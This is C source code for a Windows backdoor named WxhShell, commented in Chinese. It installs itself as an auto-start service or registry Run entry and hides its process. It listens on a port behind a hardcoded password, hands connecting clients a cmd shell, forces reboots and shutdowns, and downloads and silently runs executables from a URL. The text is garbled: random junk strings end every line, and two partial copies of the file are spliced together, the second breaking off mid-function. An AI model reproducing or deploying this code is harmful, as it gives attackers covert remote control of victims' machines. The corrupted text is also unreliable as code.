    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c4.2o<(Xt  
    if(Boot(SHUTDOWN)) _k#GjAPM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e/x6{~ju^N  
    else { VAA="yN  
    closesocket(wsh); hFnUw2 6P  
    ExitThread(0); jp|*kBDq\  
    } lYmxd8  
    break; _na/&J 6  
    } \Nk578+AA  
  // 获取shell jhJ<JDJ?`  
  case 's': { FiSx"o  
    CmdShell(wsh); mY]o_\`  
    closesocket(wsh); dptfIBYc+  
    ExitThread(0); |.;]e[&  
    break; RK p9[^/?  
  } x~F YG  
  // 退出 p_vl dTIW  
  case 'x': { "{kE#`c6<n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gl"hn  
    CloseIt(wsh); @$nh6l>i  
    break;  smn~p/u  
    } Ibx\k  
  // 离开 v+o6ZNX  
  case 'q': { 4*inN~cU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wc-v]$DW  
    closesocket(wsh); pH(X;OC 9S  
    WSACleanup();  FjMKb  
    exit(1); g~U<0+&yw%  
    break; q>wO=qWx  
        } f$vU$>+[  
  } Y!+H9R  
  } 5,-:31(j\  
Wf-XH|j[  
  // 提示信息 KK{_s=t%<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d c/^  
} A 8-a}0Gh  
  } X&i;WI  
Db  !8N  
  return; /F46Ac}I  
} R0mkEM  
9EY`j,{4  
// shell模块句柄 FA := )  
int CmdShell(SOCKET sock) H@9QEj!Y  
{ u~>G8y)k9O  
STARTUPINFO si; r^H,H'BohJ  
ZeroMemory(&si,sizeof(si)); TL)7X.1'L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i`W~-J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z>3m-:-e  
PROCESS_INFORMATION ProcessInfo; Z1:<i*6>D  
char cmdline[]="cmd"; _+ Sf+ta  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k_uI&,  
  return 0; o7WAH@g  
} &5XEjY>@  
wmIe x  
// 自身启动模式 +@yU `  
int StartFromService(void) #9 Fk&Lx  
{ Ul6|LTY  
typedef struct -7'|&zP  
{ A{M7   
  DWORD ExitStatus; (:O6sTx-hE  
  DWORD PebBaseAddress; U@CAQ?  
  DWORD AffinityMask; R MOs1<D  
  DWORD BasePriority; uPapINj  
  ULONG UniqueProcessId; 87W!R<G  
  ULONG InheritedFromUniqueProcessId; vLBuE  
}   PROCESS_BASIC_INFORMATION; `9gV8u  
]9)iBvQlj  
PROCNTQSIP NtQueryInformationProcess; <m\<yZ2aa  
)?7/fF)@|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Km!ACA&s6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uK`gveY  
+rA#]#hN  
  HANDLE             hProcess; ]$ Nhy8-  
  PROCESS_BASIC_INFORMATION pbi; :zq Un&k&  
fR~0Fy Gp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 023uAaI^3r  
  if(NULL == hInst ) return 0; RAk"C!&^m  
7SH3k=x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /; /:>c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rXT?w]4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SZLugyZ2Y  
!g6=/9  
  if (!NtQueryInformationProcess) return 0; /W-ges  
`OgT"FdL!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CGlEc  
  if(!hProcess) return 0; 7FyE?  
9-q> W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ok@`<6v  
2Xk;]-T!  
  CloseHandle(hProcess); ]!P8{xmb@  
` - P1Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J$5 G8<d>  
if(hProcess==NULL) return 0; }CMGK{  
,7:-V<'Yv  
HMODULE hMod; .w@B )f*  
char procName[255]; \P9ms?((A  
unsigned long cbNeeded; >B~? }@^Gk  
(n: A` ]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q+oc^FD?@  
kZ)}tA7j  
  CloseHandle(hProcess); ^'M^0'_"v  
iu*&Jz)D>  
if(strstr(procName,"services")) return 1; // 以服务启动 ,ayJgAD  
(3D&GY!/  
  return 0; // 注册表启动 <-b9 )>  
} _F`JFMS  
R) dP=W*  
// 主模块 cuumQQ  
int StartWxhshell(LPSTR lpCmdLine) Y/I)ECm  
{ 1 hFh F^  
  SOCKET wsl; 4ytdcb   
BOOL val=TRUE; ok:L]8UN 3  
  int port=0; |39,n~"o&  
  struct sockaddr_in door; EK[J!~  
i/'bpGrQ(  
  if(wscfg.ws_autoins) Install(); [ 't.x=  
;L-)$Dy4  
port=atoi(lpCmdLine); XMkRYI1~  
$57Q g1v  
if(port<=0) port=wscfg.ws_port; pU !:  
@#N7M2/  
  WSADATA data; ( >ze{T|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (7b9irL&cn  
F:P2:s<d-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BgUp~zdo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X"q[rsB  
  door.sin_family = AF_INET; ~+t@7A=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l=l$9H,  
  door.sin_port = htons(port); G,$nq4  
uQx/o ^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ys`oHS f  
closesocket(wsl); uo2k  
return 1; ovM;6o  
} *<67h*|)  
bfoTGi  
  if(listen(wsl,2) == INVALID_SOCKET) { BgT ^  
closesocket(wsl); =$gBWS  
return 1; WrDFbcH  
} 2#^g] o-N  
  Wxhshell(wsl); NNqvjM-  
  WSACleanup(); ;Bz| hB{  
~BuBma_   
return 0; Lhux~,EH  
~!PWJ~U  
} 1`L.$T,1!  
>FOCdlJ#  
// 以NT服务方式启动 '5$@ I{z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4D<C;>*/b  
{  I2i'  
DWORD   status = 0; {'M/wT)FeC  
  DWORD   specificError = 0xfffffff; JZxA:dg l  
#9[>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `f&::>5tD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YzG?K0O%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @SxZ>|r-|v  
  serviceStatus.dwWin32ExitCode     = 0; I)` +:+P  
  serviceStatus.dwServiceSpecificExitCode = 0; w8Z#]kRv  
  serviceStatus.dwCheckPoint       = 0; 4Ps;Cor+  
  serviceStatus.dwWaitHint       = 0; l\V1c90m  
-o"b$[sf=Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yeta)@nH  
  if (hServiceStatusHandle==0) return; }MMKOr(  
L(Twclrb  
status = GetLastError(); L7(FD v,?  
  if (status!=NO_ERROR) U7n#TPet  
{ -A<@Pg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ty{ SZU J  
    serviceStatus.dwCheckPoint       = 0; K{DmMi];I  
    serviceStatus.dwWaitHint       = 0; JS m7-p|E  
    serviceStatus.dwWin32ExitCode     = status; U&R)a| 7R  
    serviceStatus.dwServiceSpecificExitCode = specificError; 52o^]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *?1\S^7R  
    return; b~tu;:  
  } dg#Pb@7a  
hwe6@T.#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =e#h;x2  
  serviceStatus.dwCheckPoint       = 0; &W<9#RPK'  
  serviceStatus.dwWaitHint       = 0; PbvA~gm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wI 7gHp  
} G?,3Zn0  
!})Y9oZc8  
// 处理NT服务事件,比如:启动、停止 Oj%5FUP~[%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `.~S/$a.&  
{ k.54lNl  
switch(fdwControl) nTGf   
{ #Pd__NV"\  
case SERVICE_CONTROL_STOP: n>eDN\5  
  serviceStatus.dwWin32ExitCode = 0; /]J\/Z>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [6g$;SicT  
  serviceStatus.dwCheckPoint   = 0; "eTALRL'o  
  serviceStatus.dwWaitHint     = 0; (m! kg  
  { O[U`(A:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;(}~m&p  
  } Y[PC<-fyf  
  return; v36Z*I6)5  
case SERVICE_CONTROL_PAUSE: ~e,l2 <  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #=)>,6Z w  
  break; "S'Yn-  
case SERVICE_CONTROL_CONTINUE: `q^qe>'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G~&8/ s  
  break; ,37<F XX,  
case SERVICE_CONTROL_INTERROGATE: &J9 + 5L8  
  break; {y5 L  
}; vc3r [mT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fH9"sBiO  
} _XY(Qd  
c}S<<LR  
// 标准应用程序主函数 aYk: CYQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [+A]E,pv]1  
{ rZB='(?  
+{;wOQ.  
// 获取操作系统版本 :F[s  
OsIsNt=GetOsVer(); e&!c8\F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,S(Z\[x0  
[P~7kNFOh  
  // 从命令行安装 #>G:6'r  
  if(strpbrk(lpCmdLine,"iI")) Install(); pQ^V<6z}  
3]}RjOTU  
  // 下载执行文件 wmR~e  
if(wscfg.ws_downexe) { zHNBX Rx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jo;&~/ V   
  WinExec(wscfg.ws_filenam,SW_HIDE); GJS(  
} oz]3 Tx  
wRK27=\z  
if(!OsIsNt) { @aFk|.6  
// 如果时win9x,隐藏进程并且设置为注册表启动 )J+OyR=  
HideProc();  o4yl3o  
StartWxhshell(lpCmdLine); w3b?i89  
} sEfT#$ a^8  
else UNv!G/i-5  
  if(StartFromService()) dOaCdnd~  
  // 以服务方式启动 :?ZrD,D  
  StartServiceCtrlDispatcher(DispatchTable); n dN*X'  
else x2HISxg  
  // 普通方式启动 bV'r9&[_6  
  StartWxhshell(lpCmdLine); >e.KD) qA  
X$Q.A^9  
return 0; \=|=(kt)  
} >6WZSw/Hq  
8a8D0}'  
/ET+`=n  
'+iLW~   
=========================================== ]b1>bv%  
-U_,RMw~  
p9\*n5{  
j5/|1N  
G[_Z|Xi1  
 H4YA  
" &dni6E4  
<rui\/4NJ  
#include <stdio.h> !5[SNr3^  
#include <string.h> <u# 7K\:  
#include <windows.h> -U9C{q?h  
#include <winsock2.h> %{^|Av1Uz  
#include <winsvc.h> Hdd3n 6*  
#include <urlmon.h> # SJJ@SM  
Q 9f5}  
#pragma comment (lib, "Ws2_32.lib") 3q@JhB  
#pragma comment (lib, "urlmon.lib") TOa6sB!H  
fF#Fc&B  
#define MAX_USER   100 // 最大客户端连接数 (@^ySiU  
#define BUF_SOCK   200 // sock buffer l1L8a I,8  
#define KEY_BUFF   255 // 输入 buffer 8~RJnwF^  
 [Ne'2z  
#define REBOOT     0   // 重启 B#5[PX  
#define SHUTDOWN   1   // 关机 a{JO8<dlm  
o#z$LT1dY  
#define DEF_PORT   5000 // 监听端口 |:2B)X  
W*(- * \1[  
#define REG_LEN     16   // 注册表键长度 S^EAE]  
#define SVC_LEN     80   // NT服务名长度 BE~-0g$W  
uT<<G)v)  
// 从dll定义API w?N>3`Jnf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i -@V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9~a5R]x2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q uw|KL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^rjUye%EK  
/P]N40_@  
// wxhshell配置信息 3qH1\  
struct WSCFG { .J+F H G'  
  int ws_port;         // 监听端口 2:nI4S  
  char ws_passstr[REG_LEN]; // 口令 #&L7FBJ"*v  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z6Kp-z(l3  
  char ws_regname[REG_LEN]; // 注册表键名 \M0's&1(  
  char ws_svcname[REG_LEN]; // 服务名 A9"!=/~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t6\--lk_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aXZi2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mV4gw'.;7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YH^@8   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ryA+Lli.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g:G5'pZf  
Rxlv:  
}; B8.}9  
ZB/1I;l`c  
// default Wxhshell configuration w&J_c8S  
struct WSCFG wscfg={DEF_PORT, nvNF~)mu  
    "xuhuanlingzhe", QF*cdc<  
    1, $}z/BV1I  
    "Wxhshell", HNj;_S  
    "Wxhshell", Eelv i5  
            "WxhShell Service", ssoE,6kS  
    "Wrsky Windows CmdShell Service", a69e^;,>q  
    "Please Input Your Password: ", 3=} P l,  
  1, T,vh=UF%]  
  "http://www.wrsky.com/wxhshell.exe", /<(-lbq,  
  "Wxhshell.exe" 49}WJC7 )  
    }; 2cRru]VZ5  
s| Q1;%T j  
// 消息定义模块 @M'qi=s*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z'}%Mkm`i}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q1|zX@,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yaWY>sB  
char *msg_ws_ext="\n\rExit."; }Ya! [tX  
char *msg_ws_end="\n\rQuit."; Z 5)v  
char *msg_ws_boot="\n\rReboot..."; Ck"db30.  
char *msg_ws_poff="\n\rShutdown..."; 4*5e0:O  
char *msg_ws_down="\n\rSave to "; VEn3b  
?d{O' &|:  
char *msg_ws_err="\n\rErr!"; 'RzO`-dr  
char *msg_ws_ok="\n\rOK!"; cx&\oP  
kp}[nehF  
char ExeFile[MAX_PATH]; /;1O9HJa  
int nUser = 0; aIrM-c8.O  
HANDLE handles[MAX_USER]; `8Ych@f]  
int OsIsNt; z 1^fG)  
B I3fk  
SERVICE_STATUS       serviceStatus; Y%- !%|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .9,x_\|G*  
H270)Cwn+  
// 函数声明 &1&OXm$  
int Install(void); >7~*j4g  
int Uninstall(void); YPNW%N!$|  
int DownloadFile(char *sURL, SOCKET wsh); =NI?Jk*iAq  
int Boot(int flag); 5;^1Ab0  
void HideProc(void); }Q]-Y :  
int GetOsVer(void); ~w|h;*Bj  
int Wxhshell(SOCKET wsl); I.T?A9Z  
void TalkWithClient(void *cs); <p/2hHfiD  
int CmdShell(SOCKET sock); )Ho"b  
int StartFromService(void); S_OtY]gF  
int StartWxhshell(LPSTR lpCmdLine); pPo(nH|<  
X#ud5h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gH\>", [  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tY!l}:E[  
#=33TvprR2  
// 数据结构和表定义 vTK8t:JQ~  
SERVICE_TABLE_ENTRY DispatchTable[] = jWi~Q o+  
{ |O oczYf  
{wscfg.ws_svcname, NTServiceMain}, w\eC{,00:  
{NULL, NULL} bDJ!Fc/  
}; &ni#(   
5y\35kT'  
// 自我安装 S<cz2FlV  
int Install(void) kD%MFT4  
{ ?~t5>PEonv  
  char svExeFile[MAX_PATH]; _5~|z$GW  
  HKEY key; 2 rf8)8':  
  strcpy(svExeFile,ExeFile); J@E]Fl  
{Bk` Zlki  
// 如果是win9x系统,修改注册表设为自启动 [MwL=9;!H  
if(!OsIsNt) { ^v cnDi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HQ" trV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GIcq|Pe  
  RegCloseKey(key); &|ne!wu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X{, mj"(w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X1a~l|$h  
  RegCloseKey(key); C,W_0= !e  
  return 0; n_RZ:<Gr  
    } gT$WG$^i  
  } rg k1.0U0  
} e@0|fB%2  
else { ) xa )$u  
ol/@)k^s>  
// 如果是NT以上系统,安装为系统服务 8Nyz{T[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DT>`.y%2W  
if (schSCManager!=0) ,\P|%yv  
{ stUv!   
  SC_HANDLE schService = CreateService "N=$ =Dy >  
  ( jLI1Ed  
  schSCManager, iJOG"gI&  
  wscfg.ws_svcname, A>upT'  
  wscfg.ws_svcdisp, 9ck"JMla  
  SERVICE_ALL_ACCESS, N~ CQh=<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V61oK  
  SERVICE_AUTO_START, #iv4L  
  SERVICE_ERROR_NORMAL, {S9gOg  
  svExeFile, ~( XaXu  
  NULL, '[F`!X  
  NULL, U!o  
  NULL, IO"P /Q  
  NULL, OhCdBO  
  NULL Ew PJ|Z^  
  ); l:e C+[_;>  
  if (schService!=0) yLfyLyO L  
  { S$fS|N3]%  
  CloseServiceHandle(schService); hOZTD0  
  CloseServiceHandle(schSCManager); ">t^jt{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RS}_cm0  
  strcat(svExeFile,wscfg.ws_svcname); !9$}1_,is  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H@wjZ;R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NJr)f  
  RegCloseKey(key); SUMfebW5  
  return 0; iZdl0;16[  
    } WR#h~N 9c  
  } %u&Vt"6m=  
  CloseServiceHandle(schSCManager); 2(3Q#3V  
} `V V >AA5  
} 86-Rm  
vjm? X  
return 1; "A~dt5GJ  
} ?;P6#ByR  
,#, K_oz  
// 自我卸载 RPeH[M^  
int Uninstall(void) 13v`rK`7o  
{ F1$XUos9  
  HKEY key; _(' @'r  
;k#_/c  
if(!OsIsNt) { yY UAH-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CUpRtE8@[_  
  RegDeleteValue(key,wscfg.ws_regname); DIQ30(MS  
  RegCloseKey(key); >E4,zs@7t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NkBvN\CQ  
  RegDeleteValue(key,wscfg.ws_regname); 5TuwXz1v  
  RegCloseKey(key); sRcd{)|Cq  
  return 0; $04lL/;  
  } iCiKr aW  
} ?OnL,y|  
} ;7qzQ{Km  
else { =*ErN  
GR*sk#{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )3e_H s+  
if (schSCManager!=0) @(6i 1Iwu9  
{ tk'&-v'h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wo(O+L/w  
  if (schService!=0) H'!OEZ  
  { "u~` ZV(  
  if(DeleteService(schService)!=0) { -WyB2$!(  
  CloseServiceHandle(schService); ]-#/wC[$l=  
  CloseServiceHandle(schSCManager); pd:YR;  
  return 0; 7#UJ444b~  
  } 6 .?0 {2s  
  CloseServiceHandle(schService); hC<E4+5.,  
  } {_\dwe9  
  CloseServiceHandle(schSCManager); Y}.f&rLe  
} 1qn/*9W}=  
} -t<1A8%  
& }j;SK5  
return 1; Vtj*O'0  
} tuwlsBV  
; Gv-$0{P3  
// 从指定url下载文件 q*4@d)_&  
int DownloadFile(char *sURL, SOCKET wsh) s@%>  
{ It/'R-H  
  HRESULT hr; V:5aq.o!  
char seps[]= "/"; a $'U?%  
char *token; pQ7elv]  
char *file; 1l^[%0  
char myURL[MAX_PATH]; {GT5   
char myFILE[MAX_PATH]; 6A>bm{`c:  
0;`FS /[(f  
strcpy(myURL,sURL); /03 Wst  
  token=strtok(myURL,seps); .sj/Lw}  
  while(token!=NULL) UjJ&P)  
  { 751Q i  
    file=token; Moi RAO  
  token=strtok(NULL,seps); gxI/MD~!>  
  } X[w]aJnAr  
Fpn'0&~-fi  
GetCurrentDirectory(MAX_PATH,myFILE); w0sy@OF  
strcat(myFILE, "\\"); ;cL+= !  
strcat(myFILE, file); W!9~bBF',  
  send(wsh,myFILE,strlen(myFILE),0); }>,%El/  
send(wsh,"...",3,0); gV:0&g\v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FoYs<aER  
  if(hr==S_OK) Q-G8Fo%#,E  
return 0; (<OmYnm  
else !_c6 `oW  
return 1; wLO"[,  
0$y HO2 f  
} 9~K>c  
n@C#,v#^0  
// 系统电源模块 ~% ]V,-4  
int Boot(int flag) 8"ZcKxDk  
{ @LU[po1I  
  HANDLE hToken;  ]5ibg"{S  
  TOKEN_PRIVILEGES tkp; :=q9ay   
I(j{D>v  
  if(OsIsNt) { [%Dh0hOg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  _ qQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wt_ae|hv  
    tkp.PrivilegeCount = 1; h"2^` )!u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tn3C0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K6~')9 Q  
if(flag==REBOOT) { Skux&'N:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %2G3+T8*x  
  return 0; @k:@mzB7R  
} K_N`My  
else { [c=![ *}/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +@@( C9  
  return 0; bhZ5-wo4%  
} ( Y mIui>  
  } @ <'a0)n>  
  else { pFo,@M  
if(flag==REBOOT) { 8L@@UUjr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D2:ShyYAS  
  return 0; to\$'2F"q  
} hGUQdTNP  
else { Jx4~o{Z}c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Au )%w  
  return 0; N71^I"@HH  
} 9<Th: t|w  
} (i@(ZG]/  
"KY]2v.  
return 1; D@iS#+22  
} _9/Af1 X  
.d4&s7n0  
// win9x进程隐藏模块 lg jY\?  
void HideProc(void) iW? NxP  
{ ]RW*3X  
ljh,%#95=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /-3)^R2H  
  if ( hKernel != NULL ) F2=#\U$  
  { @Z~0!VY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _1\H{x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [rhK2fr:i  
    FreeLibrary(hKernel); 9Bu=8P?  
  } Tr HUM4  
xSjs+Y;Mu  
return; q +c~Bd  
} ]G=^7O]`C!  
gHU0Pr9'  
// 获取操作系统版本 !=+hU/e  
int GetOsVer(void) &)Iue<&2  
{ T:udw  
  OSVERSIONINFO winfo; ? ~~,?Uxw!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); of.=n  
  GetVersionEx(&winfo); oVnHbvP1X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HG})V PBa  
  return 1; 4*+)D8  
  else 9uY$@7qH  
  return 0; x$V[xX  
} 8~h.i1L  
 *U4eL-  
// 客户端句柄模块 e5cvmUF_W  
int Wxhshell(SOCKET wsl)  Hh<}~s  
{ pS)/yMlVj  
  SOCKET wsh; q^kOyA.  
  struct sockaddr_in client; Z <tJ+  
  DWORD myID; '[Ch8Yf\  
;jpsH?3g  
  while(nUser<MAX_USER) ,7|2K&C5  
{ q\\52 :\  
  int nSize=sizeof(client); {= l 9{K`~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~G`(=\_0  
  if(wsh==INVALID_SOCKET) return 1; '${xZrzmt  
l8ZzKb-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k:kx=K5=4  
if(handles[nUser]==0) Ja#ti y  
  closesocket(wsh); . [\S=K|/  
else @Vac!A??:  
  nUser++; djtCv;z  
  } elm]e2)F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FQCz_ z  
[CJr8Qn  
  return 0; bIahjxd:  
} %,G0)t   
(y!<^ Q  
// 关闭 socket 'uw=)8t7  
void CloseIt(SOCKET wsh) } ^67HtNQ  
{ }*I:0"WH  
closesocket(wsh); F&x9.  
nUser--; jO#5ZhG  
ExitThread(0); ril4*$e7^\  
} 9.qjEe  
^X/[x]UOT@  
// 客户端请求句柄 8(c,b  
void TalkWithClient(void *cs) U6@ j=|q  
{ qkN{l88  
0W I3m2i  
  SOCKET wsh=(SOCKET)cs; c>%+y+b{  
  char pwd[SVC_LEN]; 4:p+C-gs  
  char cmd[KEY_BUFF]; EpCsJ08K  
char chr[1]; k-&fPEjG  
int i,j; t)Mi,ljY[  
MxO0#  
  while (nUser < MAX_USER) { MjW g  
Oy^)lF/  
if(wscfg.ws_passstr) { ], HF) 21  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +84JvOkWi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pO.+hy  
  //ZeroMemory(pwd,KEY_BUFF); IP E2t  
      i=0; 4iiW{rh4  
  while(i<SVC_LEN) { CHqRCQR.  
w{1DwCLKq  
  // 设置超时 P<@V  
  fd_set FdRead; .6m%/-whS  
  struct timeval TimeOut; @3hA\3ot^  
  FD_ZERO(&FdRead); *0GR }k  
  FD_SET(wsh,&FdRead); ersddb^J]  
  TimeOut.tv_sec=8; i+)9ItZr  
  TimeOut.tv_usec=0; 8MH ZWi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BuE=(v2}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i,DnXgmz@  
7r?s)ZV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); al9L+ruR  
  pwd=chr[0]; JlZU31Xws  
  if(chr[0]==0xd || chr[0]==0xa) { y()7m/  
  pwd=0; I$7#Z!P6|  
  break; *-gd k9  
  } Q,# )  
  i++; 9#CE m &c  
    } ~9N n8g6  
-^i[   
  // 如果是非法用户,关闭 socket aB6F<"L,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,,hW|CmN30  
} |]tIE{d  
"Cz8nG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '+6SkZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $n30[P@p;  
<g SZt\  
while(1) { |2#)lGA  
a9hK8e  
  ZeroMemory(cmd,KEY_BUFF); ^ gY^I`"e6  
Cy'0O>v5  
      // 自动支持客户端 telnet标准   fO+$`r>9  
  j=0; afVl)2h  
  while(j<KEY_BUFF) { \G+ hi9T(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E>t5/^c)*w  
  cmd[j]=chr[0]; \t6k(5J  
  if(chr[0]==0xa || chr[0]==0xd) { \OV><|Lkh  
  cmd[j]=0; r2WW}W  
  break; R/&Ev$:  
  } ZK1H%&P=R  
  j++; z+RA  
    } +HGPn0As  
$e bx  
  // 下载文件 (%&HufT  
  if(strstr(cmd,"http://")) { lr>P/W\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '&XL|_Iq  
  if(DownloadFile(cmd,wsh)) C,2k W`[V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pz+2(Z  
  else u0&QStI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fj?gXc5{  
  } xc4g`Xi  
  else { O;bnyB$  
?X'm>R. @  
    switch(cmd[0]) { v}vwk8  
  }XJA#@  
  // 帮助 it Byw1/  
